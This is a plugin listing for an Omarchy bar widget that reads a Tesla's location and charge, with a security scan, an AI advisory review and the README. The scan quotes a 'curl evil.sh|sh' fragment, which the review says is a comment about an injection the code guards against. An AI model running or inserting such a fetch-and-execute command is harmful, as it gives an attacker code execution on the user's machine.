Omahub
← All plugins
J

Tesla

by Jankees van Woezik

Your Tesla in the bar: where it is, how full it is, and how far that gets you

Security review

Potentially dangerous behavior detected · 1 finding

Deterministic scan — not a security guarantee

High
Risk level
High
Analyzed commit
d250487
Scanned
2 weeks ago
  • high curl_pipe_sh bin/tesla:132

    curl output is executed by a shell (curl | sh pattern).

    curl evil.sh|sh)]+3600"` runs the

Automated analysis only — not a security guarantee.

AI advisory review

No obvious issues detected

Language-model assessment · ~deepseek/deepseek-v4-flash-latest — advisory only

Low
AI risk level
Low
Recommendation
install
Model
~deepseek/deepseek-v4-flash-latest
Analyzed commit
d250487
Reviewed
2 weeks ago

The automated high-severity finding is a false positive: the flagged `curl evil.sh|sh` text is an explanatory comment inside a defensive `number_or` guard, not executable code. The plugin is transparent and carefully handles the sensitive Tesla refresh token (private directories/files, TLS 1.3 pinning, no token in argv), and I found no hidden persistence, exfiltration, or destructive behavior.

  • A Tesla refresh token is a long-lived account credential stored in plaintext under ~/.config/omarchy-tesla; permissions are set to 600/700 and the token is not logged, but users should treat the file as highly sensitive.
  • The widget sends car location to Tesla and reverse-geocodes it through OpenStreetMap Nominatim; this is disclosed in the README but is a privacy consideration.
  • The deterministic scan's only high finding is a comment describing a bash arithmetic injection that the code defends against; no curl-to-shell execution exists in the executable code.
How this check works

This review combines the deterministic scan (the rule-based results above) with an independent look at the plugin's code by a language model. The model reads a trimmed sample of the repository's files, the manifest, and the README, then gives a plain-language risk level and a recommendation: install (no notable danger), review (look closer first), or avoid (clearly dangerous).

It runs on the same analyzed commit as the deterministic scan and is strictly advisory — it is not a security guarantee and never blocks a plugin by itself. A human moderator still reviews plugins before they are listed.

AI advisory only — automated analysis, not a security guarantee.

Install
$ omarchy plugin add https://github.com/jankeesvw/omarchy-tesla --enable
Widgets #bar #quickshell #system

Tesla

An Omarchy bar widget for your Teslas. The bar shows the Tesla mark and nothing else. Click it and a panel comes down with a map of where the selected car is, which way it is pointing, how full the battery is, how far that gets you, and the handful of things you actually end up wondering about a parked car.

Tokyo Night Catppuccin Latte Matte Black
<img src="screenshots/tokyo-night.png" alt="The panel under the Tokyo Night theme" width="280"> <img src="screenshots/catppuccin-latte.png" alt="The panel under the Catppuccin Latte theme, with the light basemap" width="280"> <img src="screenshots/matte-black.png" alt="The panel under the Matte Black theme" width="280">

The same car under three themes. The map picks its own basemap to match, and everything drawn over it takes its contrast from the tiles rather than from the theme, so a light map inside a dark panel still reads.

Install

omarchy plugin add https://github.com/jankeesvw/omarchy-tesla.git --enable

Then give it a token. That is the whole of the setup, and it is worth a section of its own.

The widget lands in the right section of the bar. Move it with omarchy bar move, or from the bar's own settings panel.

Getting a token

This talks to Tesla's owner API, the one the phone app uses. It has no concept of a scoped API key you can go and create: what it takes is an OAuth token belonging to your own Tesla account, and there is nowhere in the Tesla app that will hand you one. You have to run the login yourself and keep what comes back.

Two things come out of that login. An access token, which is what every request carries and which expires after about eight hours, and a refresh token, which mints new access tokens indefinitely. Only the second one matters here: give the widget the refresh token and it looks after the rest on its own, for as long as you leave it signed in.

The pleasant way is to let one of these apps do the login and hand you a token:

Where What
Linux, macOS, Windows tesla_auth, a small desktop app by the author of TeslaMate. The most actively maintained of the lot, and the one that needs no phone.
iOS Auth app for Tesla
Android Tesla Tokens. Still the one the Home Assistant Tesla integration points at, though it has gone missing from Google Play before.
Chromium, Edge Chromium Tesla Token Generator, an extension

Then paste the refresh token in:

~/.config/omarchy/plugins/jankeesvw.tesla/bin/tesla token

It spends the token on an access token there and then, so if it says you are signed in, you are.

China-region accounts are detected from the token issuer automatically. Their tokens are refreshed through auth.tesla.cn and their car data is read from Tesla's China Owner API; no region setting is needed.

There is also tesla login, which runs the whole browser flow itself. It works, but Tesla has taken https://auth.tesla.com/void/callback off the allowlist for the ownerapi client, so the only accepted redirect left is tesla://auth/callback and no browser will follow that. You have to open the developer tools on the Network tab and read the address off the last redirect. Use one of the apps unless you enjoy that sort of thing.

All of them drive Tesla's real login page, so none of them ever sees your password. If you would rather place the file yourself, tesla token is only doing this:

mkdir -p ~/.config/omarchy-tesla
(umask 077; printf '%s\n' "paste-the-refresh-token-here" > ~/.config/omarchy-tesla/refresh-token)

The first line with something on it is the token, trimmed. Nothing else in the file is read, and the widget never writes to it except to store a rotated token when Tesla hands one back.

If you get a 403 telling you to use the Fleet API

This one is worth knowing about, because it lies to you.

403 {"response":null,"error":"forbidden, see https://developer.tesla.com/docs/fleet-api"}

That reads like the owner API has been retired for your account and the only way forward is a Fleet API developer application, a domain you control and a public key hosted on it. It is not. It means the token was minted over TLS 1.2.

Tesla's auth edge inspects the TLS handshake of the token request and records what it saw, encrypted, in an x-enc claim inside the token it returns. The owner API opens that claim and refuses anything minted over TLS 1.2. The token is otherwise perfect: right audience, right scopes, unexpired, and it decodes to claims byte-identical to a working one apart from that field. Ask for the same token with curl --tlsv1.3 and the very same API call returns 200.

bin/tesla pins TLS 1.3 on both token calls for exactly this reason. If you port this to another language, that is the line to carry over: Python's requests and anything else that negotiates down to TLS 1.2 will hand you a token that looks fine and is refused everywhere.

Removing it

omarchy plugin remove jankeesvw.tesla

That takes the widget out of the bar and deletes the plugin. It leaves your credentials alone, on purpose: an accidental removal should not cost you a sign-in. To take those out too:

tesla logout                        # before removing, while the script is still there
rm -rf ~/.config/omarchy-tesla      # or afterwards, by hand
rm -rf ~/.cache/omarchy-tesla       # map tiles, addresses, the last reading

Deleting the token stops this machine, not the token itself. Revoke it properly under Security → Third-Party Apps in your Tesla account.

Letting the car sleep

This is the part worth reading, because it is the part that can cost you range.

Tesla's API has two kinds of call, and they are not equally cheap.

Free. GET /api/1/products and GET /api/1/vehicles/{id} are answered by Tesla's servers out of what they already know. They report online, asleep or offline, and the car is never involved. You can ask as often as you like.

Not free. GET /api/1/vehicles/{id}/vehicle_data is answered by the car. On a car that is already asleep it returns 408 and does not wake it, and that part is harmless. The problem is a car that is awake: every reading resets its sleep timer, and a Tesla needs roughly fifteen unbothered minutes before it drops off. A widget refreshing itself every thirty seconds means a car that never sleeps at all, which is a few percent of battery a day for a car sitting on a driveway. This is the drain third-party Tesla apps are known for, and it is entirely self-inflicted.

Waking. POST /api/1/vehicles/{id}/wake_up is the only call that wakes a sleeping car. It runs from the Wake button in the panel and from nowhere else.

So the widget is built around leaving the car alone:

  • The bar polls only the free call, every five minutes. That is what dims the icon when the car is asleep, and it costs the car nothing at any interval.
  • The car itself is read when you open the panel, and otherwise only while it is driving or charging, both cases where something other than this widget is already holding it awake, so a reading costs nothing that was not already being spent.
  • A parked, awake car is read at most once every fifteen minutes, and in practice not at all, because nothing is polling it. That limit lives in bin/tesla, not in the QML, so a mistake in the interface cannot get past it.
  • Refresh forces a reading past the limit, because somebody clicking Refresh has decided they would rather have the truth. Its tooltip says what that costs. It still cannot wake a sleeping car: it is disabled while the car is asleep, and the call behind it would only collect a 408 anyway.

If you shorten Leave a parked car alone for below fifteen minutes you are turning this off. The setting goes down to five so you can, not because you should.

What it shows

In the bar, the mark and nothing else. It turns green while the car is moving, sits plain while it is parked and awake, and dims while it sleeps. Three states, no numbers: a bar full of coloured glyphs is a bar you stop reading, so the colour is saved for the one thing worth catching out of the corner of your eye.

The moment it turns green you also get a desktop notification, with the speed and, when a route is set, where it is going and when it gets there. It only fires for a departure the widget saw happen: a reading that said parked followed by one that says driving. A car already on the road when the bar starts, or a switch to a car that is moving, says nothing. A route set after pulling away gets one line of its own when it turns up, and then the drive is left alone. Tell me when the car pulls away turns both off.

In the panel, top to bottom:

  • The car's name. Accounts with more than one car also get a row of car buttons; each button switches the panel to that VIN without changing the saved default.
  • A map centred on the car, with it drawn as an arrow pointing the way it is facing, the same heading the Tesla app shows under Location. The marker pulses while it is moving.
  • The street it is on, and one line saying what it is doing and how old the whole reading is: Driving 53 km/h · fetched just now. Everything on the panel came out of that one reading, so one line dates all of it. Parked, the street comes with its house number, in the order that country writes it (1600 Pennsylvania Avenue Northwest, Washington, DC in the US; De Hees 39, Kronenberg in the Netherlands); moving, it does not, because at speed the nearest address changes every second and the line flickers through numbers nobody is reading.
  • While it is driving somewhere, one line for where somewhere is and when it gets there: Home at 19:48 · 2.6 km. A clock time rather than a countdown, because arriving is something you meet the car at, and to the minute rather than the second, which is not a thing anybody meets anything at. Traffic joins the line when it costs a minute or more. No route set, or parked, and the line is not there.
  • The battery bar with the charge limit notched on it, and under it the percentage and the remaining range.
  • Ten things you end up looking up: whether it is locked, whether sentry mode is on, the odometer, the tyre pressures, inside and outside temperature, the charge limit, what the last charge put in, whether the climate is running, and which software it is on. In that order, because "is it locked" is what you check when you cannot find your car and the software version is trivia.
  • A line in red when a door, the boot, the frunk or a window is open. Absent the rest of the time, which is what makes it worth reading when it turns up.

Miles or kilometres, Celsius or Fahrenheit, bar or psi: none of these are settings. The car reports both its raw numbers and which units its own screen is showing, and the panel follows the screen. A range here that disagreed with the range in the car would be worse than no range at all.

Clicking the map opens the position in Google Maps, which is configurable. Middle-clicking the bar icon does the same without opening the panel.

Where the map comes from

Tiles come from OpenStreetMap and the address from OpenStreetMap's Nominatim. Both are free and neither needs a key.

It used to be CARTO's dark and light basemaps, which read better behind a marker. CARTO now enforces an API key on those, and a keyless request comes back with "API KEY NEEDED" stamped across the map, so the default moved to the tiles that stay free without an account.

OpenStreetMap ships one style and it is a pale one, so Dark is that same map turned dark rather than a different basemap. Black laid over the top was the obvious way and it looks it: white goes to grey while the yellows and greens stay just as loud underneath. What the panel does instead is what OpenStreetMap's own site does for its dark mode, invert the tiles and then turn the hue a half circle, so the colours that survived the inversion land back where they started. Water stays blue, parks stay green, and the paper the map is printed on goes black.

Auto follows your theme and is the default, because a light map inside a dark panel is a torch in the face and a dark one inside a light panel is a hole in it.

Everything painted over the tiles is coloured off the map rather than off the theme, for the same reason: the marker's ring and the attribution have to contrast with what is underneath them, and those two can disagree when you pin the map to Light inside a dark theme.

They are also somebody else's servers being generous, so the widget behaves: tiles are cached on disk forever and fetched once, addresses are cached per position so a parked car is a single lookup however often you look at it, and every request identifies itself. If you would rather nothing but Tesla learned where the car is, turn Look the position up by name off; the map still works, because tiles say nothing about which one of them you cared about.

Keeping the token safe

The refresh token sits in ~/.config/omarchy-tesla/refresh-token, readable only by you, and the access tokens minted from it in access-token beside it. The QML never touches any of them: everything that holds a credential is in bin/tesla.

⚠️ That file is your Tesla account. Not a scoped key, not a read-only key, the account. Anything that can read it can locate and unlock your car. Tesla's owner API has no way to narrow that down, which is worth knowing before you copy the file anywhere or hand it to a backup that syncs.

To revoke it, tesla logout removes the local copy, and Tesla's account page under Security → Third-Party Apps revokes it properly. Do the second one as well as the first: deleting the file stops this machine, not the token.

TESLA_REFRESH_TOKEN in the environment overrides the file, for anybody keeping secrets somewhere else.

Settings

Setting Default What it does
VIN empty Which car is initially selected. Empty takes the first; switch cars in the panel.
Map Auto Follows the theme. Or force CARTO dark, CARTO light, or OpenStreetMap's own tiles.
Zoom 16 16 shows the street and its neighbours. Lower for which town, higher for which parking space.
Panel width 380 Sizes the whole panel; everything else is measured off the map.
Look the position up by name on Reverse geocoding through Nominatim.
Tell me when the car pulls away on A desktop notification when a reading turns the mark green.
Check whether the car is awake every 5 min The free poll. Costs the car nothing at any interval.
Leave a parked car alone for 15 min The sleep guard. See above before lowering it.
Where a click on the map goes Google Maps {lat} and {lon} are substituted.

The command line

bin/tesla is the whole of the Tesla side and is useful on its own:

token                     paste a refresh token from a token app. The easy way
login                     sign in through the browser instead. Needs devtools
logout                    forget the tokens on this machine
state                     online / asleep / offline. Free; never wakes the car
car [--force]             everything the panel shows, subject to the sleep policy
wake                      wake a sleeping car. The only call that does
map LAT LON ZOOM W H      map tiles around a point, fetched and cached
place LAT LON             that point as a street and a town
notify TITLE [BODY]       a desktop notification, from the panel when the car pulls away

Everything prints one line of JSON, including failures, so nothing that goes wrong reaches the panel as a parse error.

It needs curl, jq, awk and openssl, all of which Omarchy already has.

Testing it without going for a drive

Synthetic input does not reach the shell, so there is an IPC hook instead:

omarchy-shell jankeesvw.tesla.test drive 87 243   # moving at 87, heading WSW
omarchy-shell jankeesvw.tesla.test navigate "Home" 6
omarchy-shell jankeesvw.tesla.test park
omarchy-shell jankeesvw.tesla.test sleep
omarchy-shell jankeesvw.tesla.test live           # back to the real car

For working on the panel itself, a whole reading can be pinned instead. Put one in ~/.config/omarchy-tesla/fixture.json and tesla state and tesla car serve that and never call Tesla at all. The panel behaves exactly as it does with a real car, but the car stops moving underneath you between restarts. tesla car > ~/.config/omarchy-tesla/fixture.json makes one from whatever the car is doing now; delete the file to go back to it. A fixture taken mid-drive keeps driving: the timestamp and the arrival time are both moved forward by however long ago it was written, so a car saved four minutes from home stays four minutes from home. The screenshot above is a fixture, which is also how it manages to be somewhere other than my driveway.

Which cars this works with

The owner API, which is what this uses, still answers. It is being retired endpoint by endpoint rather than all at once: /api/1/vehicles already returns Endpoint is only available on fleetapi, which is why the vehicle list here comes from /api/1/products instead. Expect more of that.

Reading data is all this does, so the Tesla Vehicle Command Protocol, which 2021-and-later cars require for commands, does not come into it. A 2018 Model S is what it was built against.

If a call comes back pointing at the Fleet API, read the TLS 1.3 note above before concluding anything. That error means what it says far less often than it appears to.

Licence

MIT. Not affiliated with, endorsed by, or connected to Tesla, Inc. in any way; the Tesla name and mark belong to them. The mark drawn in the bar is Simple Icons' tesla path, which is public domain.